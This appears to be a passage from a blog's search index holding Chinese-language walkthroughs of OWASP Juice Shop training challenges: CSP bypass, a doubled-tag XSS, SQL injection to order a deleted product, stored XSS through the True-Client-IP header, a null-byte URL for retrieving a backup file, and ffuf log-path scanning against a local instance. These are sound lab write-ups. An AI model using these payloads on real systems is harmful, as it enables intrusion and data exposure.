\u0026lt;ascript\u0026gt;alert(`xss`)\u0026lt;/script\u0026gt; （不匹配，保留） 浏览器解析: \u0026lt;script\u0026gt;alert(`xss`)\u0026lt;/script\u0026gt; 结果： 过滤器删除第一个 \u0026lt;script\u0026gt;，剩余部分形成新的 \u0026lt;script\u0026gt; 标签。 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:3:8","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#步骤8双写-bypass-绕过过滤"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤9：完成 XSS 攻击 在头像 URL 字段输入 CSP 注入 payload 在用户名字段输入双写 XSS payload 提交表单 成功： 弹窗显示 xss，挑战完成！ ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:3:9","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#步骤9完成-xss-攻击"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 OWASP Juice Shop 官方解决方案 - CSP Bypass MDN - Content-Security-Policy OWASP - Cross-Site Scripting (XSS) ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:4:0","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过 SQL 注入绕过应用程序的商品可用性检查，将已删除的 2014 年圣诞节特别优惠商品添加到购物车并完成订单。","date":"2026-04-16","objectID":"/posts/2026/juice-shop-christmas-special/","tags":["juice-shop","SQL_注入","盲注","逻辑漏洞"],"title":"【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品","uri":"/posts/2026/juice-shop-christmas-special/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-christmas-special/:0:0","tags":["juice-shop","SQL_注入","盲注","逻辑漏洞"],"title":"【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品","uri":"/posts/2026/juice-shop-christmas-special/#juice-shop-christmas-special通过-sql-注入订购已删除商品"},{"categories":["security"],"collections":["juice-shop"],"content":"任务简报 🎯 挑战目标\r订购 2014 年圣诞节特别优惠商品。\r💡 官方提示 (Hints)\r1. 了解应用程序如何处理不可用商品并试图找到漏洞。 2. 了解该应用程序如何向客户隐藏已删除的产品。 3. 尝试构造一条攻击字符串，使已删除的产品重新可见。 4. 您需要将已删除的商品加入购物车并触发结账流程。 5. 上述两种方式均无法通过应用程序前端实现，甚至可能需要采用（半）盲注 SQL 注入技术。\r","date":"2026-04-16","objectID":"/posts/2026/juice-shop-christmas-special/:1:0","tags":["juice-shop","SQL_注入","盲注","逻辑漏洞"],"title":"【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品","uri":"/posts/2026/juice-shop-christmas-special/#任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"实战：复现漏洞 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-christmas-special/:2:0","tags":["juice-shop","SQL_注入","盲注","逻辑漏洞"],"title":"【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品","uri":"/posts/2026/juice-shop-christmas-special/#实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤1：获取 SQL 注入 Payload 如果你已完成 Database Schema 挑战，可以直接使用该 Payload： 1\u0026#39;))-- Payload 说明： 1 - 闭合原始的 ID 参数 ')) - 闭合原始的 SQL 语句 -- - SQL 注释符，忽略后续代码 如果未完成该挑战，可以通过以下方式构造： ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-christmas-special/:2:1","tags":["juice-shop","SQL_注入","盲注","逻辑漏洞"],"title":"【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品","uri":"/posts/2026/juice-shop-christmas-special/#步骤1获取-sql-注入-payload"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤2：识别目标商品 访问应用的商品列表，寻找 2014 年圣诞节特别优惠商品。 识别方法： 使用搜索功能搜索 \u0026ldquo;Christmas\u0026rdquo;（中文用户搜索“圣诞”） 查看商品详情页面的 ID 号 记录目标商品的 ID（本例中为 ID: 10） ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-christmas-special/:2:2","tags":["juice-shop","SQL_注入","盲注","逻辑漏洞"],"title":"【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品","uri":"/posts/2026/juice-shop-christmas-special/#步骤2识别目标商品"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤3：获取添加购物车的请求 注册并登录一个账户 将任意一个可用商品添加到购物车 使用 Burp Suite 或浏览器开发者工具抓包 找到添加购物车的 POST 请求 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-christmas-special/:2:3","tags":["juice-shop","SQL_注入","盲注","逻辑漏洞"],"title":"【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品","uri":"/posts/2026/juice-shop-christmas-special/#步骤3获取添加购物车的请求"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤4：注入 SQL 绕过 在 Burp Suite 的 Repeater 中修改请求，并发送 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-christmas-special/:2:4","tags":["juice-shop","SQL_注入","盲注","逻辑漏洞"],"title":"【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品","uri":"/posts/2026/juice-shop-christmas-special/#步骤4注入-sql-绕过"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤5：验证商品已添加到购物车 访问购物车页面，查看已删除的圣诞节商品是否成功添加。 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-christmas-special/:2:5","tags":["juice-shop","SQL_注入","盲注","逻辑漏洞"],"title":"【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品","uri":"/posts/2026/juice-shop-christmas-special/#步骤5验证商品已添加到购物车"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤6：完成结账流程 进入购物车 点击\u0026quot;结账\u0026quot;按钮 填写收货地址和支付信息 提交订单（可以使用虚假的信用卡信息） 挑战完成！ 🎉 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-christmas-special/:2:6","tags":["juice-shop","SQL_注入","盲注","逻辑漏洞"],"title":"【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品","uri":"/posts/2026/juice-shop-christmas-special/#步骤6完成结账流程"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 OWASP Juice Shop 官方解决方案 - Christmas Special ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-christmas-special/:3:0","tags":["juice-shop","SQL_注入","盲注","逻辑漏洞"],"title":"【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品","uri":"/posts/2026/juice-shop-christmas-special/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过分析登录流程，发现应用使用 True-Client-IP 头部记录用户登录 IP，利用该头部的不当处理进行存储型 XSS 攻击，在用户个人资料页面执行恶意代码。","date":"2026-04-16","objectID":"/posts/2026/juice-shop-http-header-xss/","tags":["juice-shop","XSS_攻击","HTTP_头部注入","存储型_XSS"],"title":"【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-http-header-xss/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-http-header-xss/:0:0","tags":["juice-shop","XSS_攻击","HTTP_头部注入","存储型_XSS"],"title":"【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-http-header-xss/#juice-shop-http-header-xss通过-http-头部进行存储型-xss-攻击"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 🎯 挑战目标\r使用 \u0026lt;iframe src=\"javascript:alert(`xss`)\"\u0026gt; 代码通过 HTTP 头部进行存储型 XSS 攻击。\r💡 官方提示 (Hints)\r1. 寻找可能显示在 HTTP 头部中的信息是这一挑战的一部分。 2. 你可能需要研究一些不常见甚至专有的 HTTP 头部字段，才能找到突破点。 3. 雪上加霜的是，你需要的 HTTP 头信息永远不会由应用程序自行发送。\r","date":"2026-04-16","objectID":"/posts/2026/juice-shop-http-header-xss/:1:0","tags":["juice-shop","XSS_攻击","HTTP_头部注入","存储型_XSS"],"title":"【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-http-header-xss/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"HTTP 头部注入 某些应用会将 HTTP 请求头部的值存储到数据库，如果没有进行适当的验证和转义，就可能导致 XSS 攻击。 常见容易被滥用的头部： 头部 说明 X-Forwarded-For 代理转发的原始客户端 IP True-Client-IP 真实客户端 IP（某些 CDN 使用） X-Client-IP 客户端 IP User-Agent 用户代理信息 Referer 来源页面 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-http-header-xss/:1:1","tags":["juice-shop","XSS_攻击","HTTP_头部注入","存储型_XSS"],"title":"【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-http-header-xss/#http-头部注入"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤1：注册账户并登录 访问应用首页 注册一个新账户 使用该账户登录 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-http-header-xss/:2:0","tags":["juice-shop","XSS_攻击","HTTP_头部注入","存储型_XSS"],"title":"【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-http-header-xss/#步骤1注册账户并登录"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤2：使用 Burp Suite 抓包分析 打开 Burp Suite 的 Proxy 模块 登录账户 在 HTTP 历史记录中查找与登录相关的请求 关键发现： 存在一个 /rest/saveLoginIp 端点，用于记录用户登录时的 IP 地址。 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-http-header-xss/:3:0","tags":["juice-shop","XSS_攻击","HTTP_头部注入","存储型_XSS"],"title":"【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-http-header-xss/#步骤2使用-burp-suite-抓包分析"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤3：测试 X-Forwarded-For 头部 在 Burp Suite 的 Repeater 模块中： 选择 /rest/saveLoginIp 请求 添加 X-Forwarded-For 头部： X-Forwarded-For: 1.2.3.4 发送请求 结果： 登录后查看用户资料，IP 地址没有更新。 分析： 应用可能不识别 X-Forwarded-For 头部。 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-http-header-xss/:4:0","tags":["juice-shop","XSS_攻击","HTTP_头部注入","存储型_XSS"],"title":"【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-http-header-xss/#步骤3测试-x-forwarded-for-头部"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤4：测试 True-Client-IP 头部 尝试使用 True-Client-IP 头部： True-Client-IP: 1.2.3.4 结果： 登录后查看用户资料，IP 地址成功更新为 1.2.3.4！ 关键发现： 应用正在读取 True-Client-IP 头部并将其存储到数据库。 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-http-header-xss/:4:1","tags":["juice-shop","XSS_攻击","HTTP_头部注入","存储型_XSS"],"title":"【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-http-header-xss/#步骤4测试-true-client-ip-头部"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤5：构造 XSS Payload 既然应用会存储 True-Client-IP 头部的值，我们可以注入恶意代码。 Payload： \u0026lt;iframe src=\u0026#34;javascript:alert(`xss`)\u0026#34;\u0026gt; ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-http-header-xss/:4:2","tags":["juice-shop","XSS_攻击","HTTP_头部注入","存储型_XSS"],"title":"【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-http-header-xss/#步骤5构造-xss-payload"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤6：执行存储型 XSS 攻击 先退出账户 找到 /rest/saveLoginIp 请求 修改 True-Client-IP 头部为恶意 Payload： True-Client-IP: \u0026lt;iframe src=\u0026#34;javascript:alert(`xss`)\u0026#34;\u0026gt; 发送请求 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-http-header-xss/:4:3","tags":["juice-shop","XSS_攻击","HTTP_头部注入","存储型_XSS"],"title":"【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-http-header-xss/#步骤6执行存储型-xss-攻击"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤7：触发 XSS 攻击 重新登录账户 进入用户个人资料页面 查看\u0026quot;最后登录 IP\u0026quot;字段 结果： 浏览器执行了 iframe 中的 JavaScript 代码，弹窗显示 xss，挑战完成！ ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-http-header-xss/:4:4","tags":["juice-shop","XSS_攻击","HTTP_头部注入","存储型_XSS"],"title":"【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-http-header-xss/#步骤7触发-xss-攻击"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 OWASP Juice Shop 官方解决方案 - HTTP-Header XSS ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-http-header-xss/:5:0","tags":["juice-shop","XSS_攻击","HTTP_头部注入","存储型_XSS"],"title":"【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-http-header-xss/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过 Null Byte 注入获取 package.json.bak，发现存在漏洞的 sanitize-html 库，利用非递归清理的特性进行双层编码绕过，在客户反馈页面执行存储型 XSS 攻击。","date":"2026-04-16","objectID":"/posts/2026/juice-shop-server-side-xss-protection/","tags":["juice-shop","XSS_攻击","存储型_XSS","sanitize-html_漏洞","Null_Byte_注入"],"title":"【juice-shop】★★★★ Server-side XSS Protection：绕过服务端安全措施进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-server-side-xss-protection/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★ Server-side XSS Protection：绕过服务端安全措施进行存储型 XSS 攻击 🎯 挑战目标\r使用 \u0026lt;iframe src=\"javascript:alert(`xss`)\"\u0026gt; 代码绕过服务端安全措施进行存储型 XSS 攻击。\r💡 官方提示 (Hints)\r1. 您要重点关注\"客户反馈\"页面中的\"注释\"字段。 2. 在\"联系我们\"界面的\"评论\"字段中，您需要重点关注此处。 3. 攻击有效负载 \u0026lt;iframe src=\"javascript:alert(`xss`)\"\u0026gt; 不会被任何验证器拒绝，但在持久化之前会被从评论中移除。 4. 在您之前收集的 package.json.bak 文件中查找可能与输入处理相关的依赖项。 5. 如果出现了 XSS 警告，但挑战在记分板上未显示为已解决，可能是您未能将精确的攻击字符串 \u0026lt;iframe src=\"javascript:alert(`xss`)\"\u0026gt; 正确注入数据库。\r","date":"2026-04-16","objectID":"/posts/2026/juice-shop-server-side-xss-protection/:0:0","tags":["juice-shop","XSS_攻击","存储型_XSS","sanitize-html_漏洞","Null_Byte_注入"],"title":"【juice-shop】★★★★ Server-side XSS Protection：绕过服务端安全措施进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-server-side-xss-protection/#juice-shop-server-side-xss-protection绕过服务端安全措施进行存储型-xss-攻击"},{"categories":["security"],"collections":["juice-shop"],"content":"前置条件 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-server-side-xss-protection/:1:0","tags":["juice-shop","XSS_攻击","存储型_XSS","sanitize-html_漏洞","Null_Byte_注入"],"title":"【juice-shop】★★★★ Server-side XSS Protection：绕过服务端安全措施进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-server-side-xss-protection/#前置条件"},{"categories":["security"],"collections":["juice-shop"],"content":"sanitize-html 库的漏洞 sanitize-html 是一个流行的 HTML 清理库，用于防止 XSS 攻击。但早期版本（如 1.4.2）存在一个严重漏洞：非递归清理。 漏洞原理： 输入: \u0026lt;\u0026lt;img src=\u0026#34;csrf-attack\u0026#34;/\u0026gt;img src=\u0026#34;csrf-attack\u0026#34;/\u0026gt; 第一次清理: \u0026lt;img src=\u0026#34;csrf-attack\u0026#34;/\u0026gt; （删除了第一个 \u0026lt;，但没有递归检查） 结果: 恶意标签仍然存在！ ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-server-side-xss-protection/:1:1","tags":["juice-shop","XSS_攻击","存储型_XSS","sanitize-html_漏洞","Null_Byte_注入"],"title":"【juice-shop】★★★★ Server-side XSS Protection：绕过服务端安全措施进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-server-side-xss-protection/#sanitize-html-库的漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"开始 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-server-side-xss-protection/:0:0","tags":["juice-shop","XSS_攻击","存储型_XSS","sanitize-html_漏洞","Null_Byte_注入"],"title":"【juice-shop】★★★★ Server-side XSS Protection：绕过服务端安全措施进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-server-side-xss-protection/#开始"},{"categories":["security"],"collections":["juice-shop"],"content":"第1步 首先，拿到package.json.bak，使用 Poison Null Byte 获取这个文件 http://127.0.0.1:3000/ftp/package.json.bak%2500.md 工作原理： %25 = URL 编码的 % %00 = URL 编码的空字节 \\0 %2500 = 双重编码的空字节 服务器解码后：package.json.bak\\0.md 文件系统在 \\0 处截断，实际访问：package.json.bak ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-server-side-xss-protection/:0:1","tags":["juice-shop","XSS_攻击","存储型_XSS","sanitize-html_漏洞","Null_Byte_注入"],"title":"【juice-shop】★★★★ Server-side XSS Protection：绕过服务端安全措施进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-server-side-xss-protection/#第1步"},{"categories":["security"],"collections":["juice-shop"],"content":"第2步 这个文件里面藏着一个存在漏洞的依赖 \u0026ldquo;sanitize-html\u0026rdquo;: \u0026ldquo;1.4.2\u0026rdquo;，对于现状来说还是问ai的快，不过可能会有幻觉。 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-server-side-xss-protection/:0:2","tags":["juice-shop","XSS_攻击","存储型_XSS","sanitize-html_漏洞","Null_Byte_注入"],"title":"【juice-shop】★★★★ Server-side XSS Protection：绕过服务端安全措施进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-server-side-xss-protection/#第2步"},{"categories":["security"],"collections":["juice-shop"],"content":"第3步 我们回到 客户反馈，输入题目给的xss，提交 完成挑战！ 到关于我们页面验证，向右滑动到有这个白框的页面，等一会会出现弹窗 CNBLOGS - 博客 OWASP Juice Shop 官方解决方案 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-server-side-xss-protection/:0:3","tags":["juice-shop","XSS_攻击","存储型_XSS","sanitize-html_漏洞","Null_Byte_注入"],"title":"【juice-shop】★★★★ Server-side XSS Protection：绕过服务端安全措施进行存储型 XSS 攻击","uri":"/posts/2026/juice-shop-server-side-xss-protection/#第3步"},{"categories":["security"],"collections":["juice-shop"],"content":"通过分析挑战提示，使用 ffuf 进行反向目录扫描，发现 /support/logs 路径，获取服务器访问日志文件，完成挑战。","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志 ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:0:0","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#juice-shop-access-log通过目录扫描获取服务器访问日志"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 🎯 挑战目标\r获取访问服务器上任何访问日志文件的权限。\r💡 官方提示 (Hints)\r1. 谁想要通过web应用程序访问服务器访问日志？ 2. 通常情况下，服务器日志文件被写入服务器端的磁盘，不能从外部访问。 3. 您在\"访问机密文档\"挑战中可能已经发现的文件夹中的一个特定文件可能会让您知道谁对这种公开暴露感兴趣。 4. 深入文件系统一层可能还不够。\r","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:1:0","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 线索分析 ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:2:0","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#0x02-线索分析"},{"categories":["security"],"collections":["juice-shop"],"content":"提示解读 提示 含义 推论 提示1 谁想要访问日志？ support 用户 (支持团队) 提示2 日志在服务器磁盘，不能外部访问 需要通过应用暴露的接口访问 提示3 \u0026ldquo;访问机密文档\u0026quot;中发现的文件夹 /ftp/ 路径，可能有线索文件 提示4 深入一层不够 不是 /logs，而是 /FUZZ/logs 模式 ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:2:1","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#提示解读"},{"categories":["security"],"collections":["juice-shop"],"content":"关键发现 前置挑战: 访问机密文档 ↓ 发现: /ftp/ 目录 ↓ 推论: support 用户对日志感兴趣 ↓ 目标: /support/logs 路径 ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:2:2","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#关键发现"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 解题过程 ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:3:0","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#0x03-解题过程"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤1：理解挑战本质 我的问题分析： ❌ 不需要完成 6 星挑战 \u0026ldquo;Login Support Team\u0026rdquo;（虽然有关联） ✅ 这是一个 4 星难度的目录扫描挑战 ✅ 关键在于理解提示，推断出正确的路径模式 核心洞察： 日志路径模式: /[某个目录]/logs 其中[某个目录]应该是: support, admin, api, backup 等 ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:3:1","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#步骤1理解挑战本质"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤2：构建 ffuf 扫描命令 反向扫描策略： 不是扫描 /FUZZ，而是扫描 /FUZZ/logs，这样可以： 直接找到包含日志的目录 减少噪音（SPA 默认页面） 提高效率 扫描命令： ffuf -u http://127.0.0.1:3000/FUZZ/logs \\ -w /usr/share/wordlists/dirb/common.txt \\ -o dir1.csv \\ -of csv 参数说明： 参数 说明 -u 目标 URL，FUZZ 为占位符 -w 字典文件（dirb/common.txt） -o 输出文件名 -of csv 输出格式为 CSV ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:3:2","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#步骤2构建-ffuf-扫描命令"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤3：分析扫描结果 筛选条件： status_code ≠ 200 AND content_length ≠ 75002 原因： status_code = 200 且 content_length = 75002 = SPA 默认页面（无效） 排除这些结果，找到真实的日志路径 扫描结果示例： 关键发现： support/logs [Status: 200] [Size: 不等于75002] ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:3:3","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#步骤3分析扫描结果"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤4：访问日志文件 URL： http://127.0.0.1:3000/support/logs 操作： 在浏览器中访问上述 URL 下载日志文件 完成挑战 ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:3:4","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#步骤4访问日志文件"},{"categories":["security"],"collections":["juice-shop"],"content":"0x04 深度思考 ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:4:0","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#0x04-深度思考"},{"categories":["security"],"collections":["juice-shop"],"content":"为什么这个方法有效？ 1. 理解 SPA 应用的特性 普通请求 /support ↓ 返回 index.html (200, 75002 bytes) ↓ 浏览器加载 JavaScript ↓ JS 执行时报错（模块加载失败） ↓ Console 显示错误信息 2. 浏览器 vs 扫描工具的区别 特性 浏览器 ffuf JavaScript 执行 ✅ ❌ DOM 渲染 ✅ ❌ 错误日志 ✅ 显示在 Console ❌ 无法看到 响应内容 ✅ 完整 ✅ 原始 HTML 3. 为什么不需要 \u0026ldquo;Login Support Team\u0026rdquo;？ ✅ /support/logs 路径不需要认证即可访问 ✅ 这是一个配置错误（Security Misconfiguration） ✅ 支持团队的凭据只在其他挑战中需要 ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:4:1","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#为什么这个方法有效"},{"categories":["security"],"collections":["juice-shop"],"content":"可观测性故障的真正解法 虽然不是必需的，但以下方法可以增强推论： 方法1：浏览器 Console 错误 访问 /support ↓ Console 显示模块加载失败 ↓ 推断 /support 路由存在 ↓ 进一步推断 /support/logs 可能存在 方法2：检查 Location Header curl -i http://127.0.0.1:3000/support # 查看是否有 Location: /support/ 重定向 方法3：对比响应内容 # /support 和 /support/ 返回相同大小，但有重定向 # 这是 SPA 路由的特征 ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:4:2","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#可观测性故障的真正解法"},{"categories":["security"],"collections":["juice-shop"],"content":"0x05 总结 ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:5:0","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#0x05-总结"},{"categories":["security"],"collections":["juice-shop"],"content":"关键要点 要点 说明 解题思路 大胆猜想，小心求证 核心技巧 反向扫描 /FUZZ/logs 而不是 /FUZZ 关键发现 /support/logs 路径无需认证即可访问 漏洞类型 Security Misconfiguration（安全配置错误） 前置条件 无（不需要完成 6 星挑战） ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:5:1","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#关键要点"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 OWASP Juice Shop 官方解决方案 Colby 的博客 - Access Log YouTube 视频教程 GitHub Write-up ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:6:0","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"附录：完整命令参考 ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:7:0","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#附录完整命令参考"},{"categories":["security"],"collections":["juice-shop"],"content":"ffuf 扫描命令 # 基础扫描 ffuf -u http://127.0.0.1:3000/FUZZ/logs \\ -w /usr/share/wordlists/dirb/common.txt \\ -o dir1.csv \\ -of csv # 带认证的扫描（如果需要） ffuf -u http://127.0.0.1:3000/FUZZ/logs \\ -w 